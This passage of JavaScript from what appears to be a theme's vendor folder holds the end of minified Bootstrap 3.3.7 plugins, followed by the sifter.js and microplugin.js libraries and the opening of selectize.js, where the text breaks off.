this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-m<o.top?"bottom":"right"==h&&k.right+l>o.width?"left":"left"==h&&k.left-l<o.left?"right":h,f.removeClass(n).addClass(h)}var p=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(p,h);var q=function(){var a=e.hoverState;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",q).emulateTransitionEnd(c.TRANSITION_DURATION):q()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top+=g,b.left+=h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;"top"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?"offsetWidth":"offsetHeight";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?"left":"top",50*(1-a/b)+"%").css(c?"top":"left","")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},c.prototype.hide=function(b){function d(){"in"!=e.hoverState&&f.detach(),e.$element&&e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),b&&b()}var e=this,f=a(this.$tip),g=a.Event("hide.bs."+this.type);if(this.$element.trigger(g),!g.isDefaultPrevented())return f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this},c.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d="BODY"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=window.SVGElement&&c instanceof window.SVGElement,g=d?{top:0,left:0}:f?null:b.offset(),h={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},i=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,h,i,g)},c.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null,a.$element=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.7",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.7",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(void 0===e[a+1]||b<e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){
    this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.7",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return e<c&&"top";if("bottom"==this.affixed)return null!=c?!(e+this.unpin<=f.top)&&"bottom":!(e+g<=a-d)&&"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&e<=c?"top":null!=d&&i+j>=a-d&&"bottom"},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);PK     0w\:e  2  customizer/framework/assets/js/vendor/selectize.jsnu [        /**
 * sifter.js
 * Copyright (c) 2013 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */

(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define('sifter', factory);
	} else if (typeof exports === 'object') {
		module.exports = factory();
	} else {
		root.Sifter = factory();
	}
}(this, function() {
    'use strict';

	/**
	 * Textually searches arrays and hashes of objects
	 * by property (or multiple properties). Designed
	 * specifically for autocomplete.
	 *
	 * @constructor
	 * @param {array|object} items
	 * @param {object} items
	 */
	var Sifter = function(items, settings) {
		this.items = items;
		this.settings = settings || {diacritics: true};
	};

	/**
	 * Splits a search string into an array of individual
	 * regexps to be used to match results.
	 *
	 * @param {string} query
	 * @returns {array}
	 */
	Sifter.prototype.tokenize = function(query) {
		query = trim(String(query || '').toLowerCase());
		if (!query || !query.length) return [];

		var i, n, regex, letter;
		var tokens = [];
		var words = query.split(/ +/);

		for (i = 0, n = words.length; i < n; i++) {
			regex = escape_regex(words[i]);
			if (this.settings.diacritics) {
				for (letter in DIACRITICS) {
					if (DIACRITICS.hasOwnProperty(letter)) {
						regex = regex.replace(new RegExp(letter, 'g'), DIACRITICS[letter]);
					}
				}
			}
			tokens.push({
				string : words[i],
				regex  : new RegExp(regex, 'i')
			});
		}

		return tokens;
	};

	/**
	 * Iterates over arrays and hashes.
	 *
	 * ```
	 * this.iterator(this.items, function(item, id) {
	 *    // invoked for each item
	 * });
	 * ```
	 *
	 * @param {array|object} object
	 */
	Sifter.prototype.iterator = function(object, callback) {
		var iterator;
		if (is_array(object)) {
			iterator = Array.prototype.forEach || function(callback) {
						for (var i = 0, n = this.length; i < n; i++) {
							callback(this[i], i, this);
						}
					};
		} else {
			iterator = function(callback) {
				for (var key in this) {
					if (this.hasOwnProperty(key)) {
						callback(this[key], key, this);
					}
				}
			};
		}

		iterator.apply(object, [callback]);
	};

	/**
	 * Returns a function to be used to score individual results.
	 *
	 * Good matches will have a higher score than poor matches.
	 * If an item is not a match, 0 will be returned by the function.
	 *
	 * @param {object|string} search
	 * @param {object} options (optional)
	 * @returns {function}
	 */
	Sifter.prototype.getScoreFunction = function(search, options) {
		var self, fields, tokens, token_count, nesting;

		self        = this;
		search      = self.prepareSearch(search, options);
		tokens      = search.tokens;
		fields      = search.options.fields;
		token_count = tokens.length;
		nesting     = search.options.nesting;

		/**
		 * Calculates how close of a match the
		 * given value is against a search token.
		 *
		 * @param {mixed} value
		 * @param {object} token
		 * @return {number}
		 */
		var scoreValue = function(value, token) {
			var score, pos;

			if (!value) return 0;
			value = String(value || '');
			pos = value.search(token.regex);
			if (pos === -1) return 0;
			score = token.string.length / value.length;
			if (pos === 0) score += 0.5;
			return score;
		};

		/**
		 * Calculates the score of an object
		 * against the search query.
		 *
		 * @param {object} token
		 * @param {object} data
		 * @return {number}
		 */
		var scoreObject = (function() {
			var field_count = fields.length;
			if (!field_count) {
				return function() { return 0; };
			}
			if (field_count === 1) {
				return function(token, data) {
					return scoreValue(getattr(data, fields[0], nesting), token);
				};
			}
			return function(token, data) {
				for (var i = 0, sum = 0; i < field_count; i++) {
					sum += scoreValue(getattr(data, fields[i], nesting), token);
				}
				return sum / field_count;
			};
		})();

		if (!token_count) {
			return function() { return 0; };
		}
		if (token_count === 1) {
			return function(data) {
				return scoreObject(tokens[0], data);
			};
		}

		if (search.options.conjunction === 'and') {
			return function(data) {
				var score;
				for (var i = 0, sum = 0; i < token_count; i++) {
					score = scoreObject(tokens[i], data);
					if (score <= 0) return 0;
					sum += score;
				}
				return sum / token_count;
			};
		} else {
			return function(data) {
				for (var i = 0, sum = 0; i < token_count; i++) {
					sum += scoreObject(tokens[i], data);
				}
				return sum / token_count;
			};
		}
	};

	/**
	 * Returns a function that can be used to compare two
	 * results, for sorting purposes. If no sorting should
	 * be performed, `null` will be returned.
	 *
	 * @param {string|object} search
	 * @param {object} options
	 * @return function(a,b)
	 */
	Sifter.prototype.getSortFunction = function(search, options) {
		var i, n, self, field, fields, fields_count, multiplier, multipliers, get_field, implicit_score, sort;

		self   = this;
		search = self.prepareSearch(search, options);
		sort   = (!search.query && options.sort_empty) || options.sort;

		/**
		 * Fetches the specified sort field value
		 * from a search result item.
		 *
		 * @param  {string} name
		 * @param  {object} result
		 * @return {mixed}
		 */
		get_field = function(name, result) {
			if (name === '$score') return result.score;
			return getattr(self.items[result.id], name, options.nesting);
		};

		// parse options
		fields = [];
		if (sort) {
			for (i = 0, n = sort.length; i < n; i++) {
				if (search.query || sort[i].field !== '$score') {
					fields.push(sort[i]);
				}
			}
		}

		// the "$score" field is implied to be the primary
		// sort field, unless it's manually specified
		if (search.query) {
			implicit_score = true;
			for (i = 0, n = fields.length; i < n; i++) {
				if (fields[i].field === '$score') {
					implicit_score = false;
					break;
				}
			}
			if (implicit_score) {
				fields.unshift({field: '$score', direction: 'desc'});
			}
		} else {
			for (i = 0, n = fields.length; i < n; i++) {
				if (fields[i].field === '$score') {
					fields.splice(i, 1);
					break;
				}
			}
		}

		multipliers = [];
		for (i = 0, n = fields.length; i < n; i++) {
			multipliers.push(fields[i].direction === 'desc' ? -1 : 1);
		}

		// build function
		fields_count = fields.length;
		if (!fields_count) {
			return null;
		} else if (fields_count === 1) {
			field = fields[0].field;
			multiplier = multipliers[0];
			return function(a, b) {
				return multiplier * cmp(
								get_field(field, a),
								get_field(field, b)
						);
			};
		} else {
			return function(a, b) {
				var i, result, a_value, b_value, field;
				for (i = 0; i < fields_count; i++) {
					field = fields[i].field;
					result = multipliers[i] * cmp(
									get_field(field, a),
									get_field(field, b)
							);
					if (result) return result;
				}
				return 0;
			};
		}
	};

	/**
	 * Parses a search query and returns an object
	 * with tokens and fields ready to be populated
	 * with results.
	 *
	 * @param {string} query
	 * @param {object} options
	 * @returns {object}
	 */
	Sifter.prototype.prepareSearch = function(query, options) {
		if (typeof query === 'object') return query;

		options = extend({}, options);

		var option_fields     = options.fields;
		var option_sort       = options.sort;
		var option_sort_empty = options.sort_empty;

		if (option_fields && !is_array(option_fields)) options.fields = [option_fields];
		if (option_sort && !is_array(option_sort)) options.sort = [option_sort];
		if (option_sort_empty && !is_array(option_sort_empty)) options.sort_empty = [option_sort_empty];

		return {
			options : options,
			query   : String(query || '').toLowerCase(),
			tokens  : this.tokenize(query),
			total   : 0,
			items   : []
		};
	};

	/**
	 * Searches through all items and returns a sorted array of matches.
	 *
	 * The `options` parameter can contain:
	 *
	 *   - fields {string|array}
	 *   - sort {array}
	 *   - score {function}
	 *   - filter {bool}
	 *   - limit {integer}
	 *
	 * Returns an object containing:
	 *
	 *   - options {object}
	 *   - query {string}
	 *   - tokens {array}
	 *   - total {int}
	 *   - items {array}
	 *
	 * @param {string} query
	 * @param {object} options
	 * @returns {object}
	 */
	Sifter.prototype.search = function(query, options) {
		var self = this, value, score, search, calculateScore;
		var fn_sort;
		var fn_score;

		search  = this.prepareSearch(query, options);
		options = search.options;
		query   = search.query;

		// generate result scoring function
		fn_score = options.score || self.getScoreFunction(search);

		// perform search and sort
		if (query.length) {
			self.iterator(self.items, function(item, id) {
				score = fn_score(item);
				if (options.filter === false || score > 0) {
					search.items.push({'score': score, 'id': id});
				}
			});
		} else {
			self.iterator(self.items, function(item, id) {
				search.items.push({'score': 1, 'id': id});
			});
		}

		fn_sort = self.getSortFunction(search, options);
		if (fn_sort) search.items.sort(fn_sort);

		// apply limits
		search.total = search.items.length;
		if (typeof options.limit === 'number') {
			search.items = search.items.slice(0, options.limit);
		}

		return search;
	};

	// utilities
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	var cmp = function(a, b) {
		if (typeof a === 'number' && typeof b === 'number') {
			return a > b ? 1 : (a < b ? -1 : 0);
		}
		a = asciifold(String(a || ''));
		b = asciifold(String(b || ''));
		if (a > b) return 1;
		if (b > a) return -1;
		return 0;
	};

	var extend = function(a, b) {
		var i, n, k, object;
		for (i = 1, n = arguments.length; i < n; i++) {
			object = arguments[i];
			if (!object) continue;
			for (k in object) {
				if (object.hasOwnProperty(k)) {
					a[k] = object[k];
				}
			}
		}
		return a;
	};

	/**
	 * A property getter resolving dot-notation
	 * @param  {Object}  obj     The root object to fetch property on
	 * @param  {String}  name    The optionally dotted property name to fetch
	 * @param  {Boolean} nesting Handle nesting or not
	 * @return {Object}          The resolved property value
	 */
	var getattr = function(obj, name, nesting) {
		if (!obj || !name) return;
		if (!nesting) return obj[name];
		var names = name.split(".");
		while(names.length && (obj = obj[names.shift()]));
		return obj;
	};

	var trim = function(str) {
		return (str + '').replace(/^\s+|\s+$|/g, '');
	};

	var escape_regex = function(str) {
		return (str + '').replace(/([.?*+^$[\]\\(){}|-])/g, '\\$1');
	};

	var is_array = Array.isArray || (typeof $ !== 'undefined' && $.isArray) || function(object) {
				return Object.prototype.toString.call(object) === '[object Array]';
			};

	var DIACRITICS = {
		'a': '[aḀḁĂăÂâǍǎȺⱥȦȧẠạÄäÀàÁáĀāÃãÅåąĄÃąĄ]',
		'b': '[b␢βΒB฿𐌁ᛒ]',
		'c': '[cĆćĈĉČčĊċC̄c̄ÇçḈḉȻȼƇƈɕᴄＣｃ]',
		'd': '[dĎďḊḋḐḑḌḍḒḓḎḏĐđD̦d̦ƉɖƊɗƋƌᵭᶁᶑȡᴅＤｄð]',
		'e': '[eÉéÈèÊêḘḙĚěĔĕẼẽḚḛẺẻĖėËëĒēȨȩĘęᶒɆɇȄȅẾếỀềỄễỂểḜḝḖḗḔḕȆȇẸẹỆệⱸᴇＥｅɘǝƏƐε]',
		'f': '[fƑƒḞḟ]',
		'g': '[gɢ₲ǤǥĜĝĞğĢģƓɠĠġ]',
		'h': '[hĤĥĦħḨḩẖẖḤḥḢḣɦʰǶƕ]',
		'i': '[iÍíÌìĬĭÎîǏǐÏïḮḯĨĩĮįĪīỈỉȈȉȊȋỊịḬḭƗɨɨ̆ᵻᶖİiIıɪＩｉ]',
		'j': '[jȷĴĵɈɉʝɟʲ]',
		'k': '[kƘƙꝀꝁḰḱǨǩḲḳḴḵκϰ₭]',
		'l': '[lŁłĽľĻļĹĺḶḷḸḹḼḽḺḻĿŀȽƚⱠⱡⱢɫɬᶅɭȴʟＬｌ]',
		'n': '[nŃńǸǹŇňÑñṄṅŅņṆṇṊṋṈṉN̈n̈ƝɲȠƞᵰᶇɳȵɴＮｎŊŋ]',
		'o': '[oØøÖöÓóÒòÔôǑǒŐőŎŏȮȯỌọƟɵƠơỎỏŌōÕõǪǫȌȍՕօ]',
		'p': '[pṔṕṖṗⱣᵽƤƥᵱ]',
		'q': '[qꝖꝗʠɊɋꝘꝙq̃]',
		'r': '[rŔŕɌɍŘřŖŗṘṙȐȑȒȓṚṛⱤɽ]',
		's': '[sŚśṠṡṢṣꞨꞩŜŝŠšŞşȘșS̈s̈]',
		't': '[tŤťṪṫŢţṬṭƮʈȚțṰṱṮṯƬƭ]',
		'u': '[uŬŭɄʉỤụÜüÚúÙùÛûǓǔŰűŬŭƯưỦủŪūŨũŲųȔȕ∪]',
		'v': '[vṼṽṾṿƲʋꝞꝟⱱʋ]',
		'w': '[wẂẃẀẁŴŵẄẅẆẇẈẉ]',
		'x': '[xẌẍẊẋχ]',
		'y': '[yÝýỲỳŶŷŸÿỸỹẎẏỴỵɎɏƳƴ]',
		'z': '[zŹźẐẑŽžŻżẒẓẔẕƵƶ]'
	};

	var asciifold = (function() {
		var i, n, k, chunk;
		var foreignletters = '';
		var lookup = {};
		for (k in DIACRITICS) {
			if (DIACRITICS.hasOwnProperty(k)) {
				chunk = DIACRITICS[k].substring(2, DIACRITICS[k].length - 1);
				foreignletters += chunk;
				for (i = 0, n = chunk.length; i < n; i++) {
					lookup[chunk.charAt(i)] = k;
				}
			}
		}
		var regexp = new RegExp('[' +  foreignletters + ']', 'g');
		return function(str) {
			return str.replace(regexp, function(foreignletter) {
				return lookup[foreignletter];
			}).toLowerCase();
		};
	})();


	// export
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	return Sifter;
}));



/**
 * microplugin.js
 * Copyright (c) 2013 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */

(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define('microplugin', factory);
	} else if (typeof exports === 'object') {
		module.exports = factory();
	} else {
		root.MicroPlugin = factory();
	}
}(this, function() {
    'use strict';

	var MicroPlugin = {};

	MicroPlugin.mixin = function(Interface) {
		Interface.plugins = {};

		/**
		 * Initializes the listed plugins (with options).
		 * Acceptable formats:
		 *
		 * List (without options):
		 *   ['a', 'b', 'c']
		 *
		 * List (with options):
		 *   [{'name': 'a', options: {}}, {'name': 'b', options: {}}]
		 *
		 * Hash (with options):
		 *   {'a': { ... }, 'b': { ... }, 'c': { ... }}
		 *
		 * @param {mixed} plugins
		 */
		Interface.prototype.initializePlugins = function(plugins) {
			var i, n, key;
			var self  = this;
			var queue = [];

			self.plugins = {
				names     : [],
				settings  : {},
				requested : {},
				loaded    : {}
			};

			if (utils.isArray(plugins)) {
				for (i = 0, n = plugins.length; i < n; i++) {
					if (typeof plugins[i] === 'string') {
						queue.push(plugins[i]);
					} else {
						self.plugins.settings[plugins[i].name] = plugins[i].options;
						queue.push(plugins[i].name);
					}
				}
			} else if (plugins) {
				for (key in plugins) {
					if (plugins.hasOwnProperty(key)) {
						self.plugins.settings[key] = plugins[key];
						queue.push(key);
					}
				}
			}

			while (queue.length) {
				self.require(queue.shift());
			}
		};

		Interface.prototype.loadPlugin = function(name) {
			var self    = this;
			var plugins = self.plugins;
			var plugin  = Interface.plugins[name];

			if (!Interface.plugins.hasOwnProperty(name)) {
				throw new Error('Unable to find "' +  name + '" plugin');
			}

			plugins.requested[name] = true;
			plugins.loaded[name] = plugin.fn.apply(self, [self.plugins.settings[name] || {}]);
			plugins.names.push(name);
		};

		/**
		 * Initializes a plugin.
		 *
		 * @param {string} name
		 */
		Interface.prototype.require = function(name) {
			var self = this;
			var plugins = self.plugins;

			if (!self.plugins.loaded.hasOwnProperty(name)) {
				if (plugins.requested[name]) {
					throw new Error('Plugin has circular dependency ("' + name + '")');
				}
				self.loadPlugin(name);
			}

			return plugins.loaded[name];
		};

		/**
		 * Registers a plugin.
		 *
		 * @param {string} name
		 * @param {function} fn
		 */
		Interface.define = function(name, fn) {
			Interface.plugins[name] = {
				'name' : name,
				'fn'   : fn
			};
		};
	};

	var utils = {
		isArray: Array.isArray || function(vArg) {
			return Object.prototype.toString.call(vArg) === '[object Array]';
		}
	};

	return MicroPlugin;
}));

/**
 * selectize.js (v0.12.2)
 * Copyright (c) 2013–2015 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */

/*jshint curly:false */
/*jshint browser:true */

(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define('selectize', ['jquery','sifter','microplugin'], factory);
	} else if (typeof exports === 'object') {
		module.exports = factory(require('jquery'), require('sifter'), require('microplugin'));
	} else {
